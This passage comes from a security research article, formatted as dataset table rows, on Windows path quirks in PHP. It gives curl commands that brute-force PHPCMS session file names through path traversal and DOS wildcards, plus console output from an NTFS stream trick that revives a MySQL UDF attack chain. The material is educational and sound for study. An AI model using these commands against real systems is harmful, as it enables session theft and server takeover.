text stringlengths 0 1.99k |
|---|
----[ 3. When Windows Breaks... |
One thing I really love about Web Security is that, even though each |
individual trick seems pretty simple, the real challenge lies in figuring |
out how to chain them together. Especially nowadays, behind every |
seemingly simple website, there's usually a complex mix of tech stacks, |
layered architectures, and cross-system interactions - not to mention that |
each component has its own quirks and technical debt. So what makes Web |
Security fascinating - and frankly beautiful - to me is finding a tiny |
flaw, figuring out how to leverage the architecture to amplify its impact, |
and chaining everything together into a clean, well-crafted exploit to |
finally take over the entire system! |
Personally, I'm a huge fan of the security issues caused by interactions |
across applications. Whether it's about HTTPoxy [38] - caused by naming |
collisions defined in RFC specs - TLS Poison attacks [39] that abuse |
TLS/SSL session resumption, or an old-school trick from the '90s |
resurfacing in modern frameworks [40] like Laravel, these are all |
legendary in my book! |
But here let's put those aside for now - and start with everyone's |
favorite classic: Windows! |
------[ 3.1 - Windows Path Madness |
If we're really talking about the most notorious issue when running PHP on |
Windows, I'd say it's definitely how Windows handles file paths! My |
earliest memories of this topic probably come from the classic articles by |
the teams at USH.it [41] and ONsec [42]. They documented tons of quirky |
behaviors in how Windows processes file paths, allowing you to access |
files in all kinds of fancy ways. |
These tricks were so well-known in the early days that you'd see them in |
basically every CTF. Probably the most memorable combo was using |
"wildcards in DOS Devices" to brute-force randomized filenames |
character-by-character. This technique quickly made its way into several |
popular web applications, including PHPCMS [43] and DedeCMS [44] as two |
notable examples. Attackers can use this trick to reveal sensitive paths - |
like backup files, session names, and even the admin portal - by simply |
checking whether certain paths exist or not! |
--------------------[ Brute-forcing the SESSION Path !]-------------------- |
Base URL: http://phpcms/api.php?op=creatimg&txt=1337&font=*PATH* |
| |
v |
+-----------------------+ |
| Current prefix = "" |<------------+ |
+-----------+-----------+ | |
| | |
+-----------v-----------+ | |
+------------> | Try next character: C | | |
| +-----------+-----------+ | |
| | | |
| v | |
| +----------+----------+ | |
| | | | |
| +-----+-----+ +-----+----+ | |
| | No image | | Image OK | | |
| +-----+-----+ +-----+----+ | |
| | | | |
| v v (prefix += C) | |
+--------------+ +---------------+ |
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_A<" # [--] |
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_B<" # [--] |
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_C<" # [OK] |
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_CA<" # [--] |
$ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_CB<" # [OK] |
[...] |
$ curl "${URL}&font=[...]/tmp/sess_CBHRVOFTMP41BIOV02VPSGSUP7" # [OK] |
--------------------------------------------------------------------------- |
Also, Alternate Data Streams (ADS) on NTFS is another feature hackers love |
to abuse. A classic trick is using a special stream to turn "arbitrary |
file writes" into "arbitrary directory creation" [45]. One particularly |
memorable combo is leveraging this trick to create the missing |
`@@plugin_dir` directory, thereby reviving the MySQL UDF attack chain! |
---------------------[ Revive the MySQL UDF Attack! ]---------------------- |
C:\Users\Orange> ver |
Microsoft Windows [Version 10.0.19042.631] |
C:\MySQL\lib> dir plugin |
File Not Found |
C:\MySQL\lib> mysql -uroot -e |
mysql> SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION' |
ERROR 3 (HY000): Error writing file [...] (Errcode: 22) |
C:\MySQL\lib> dir plugin |
04/21/2025 06:21 PM <DIR> . |
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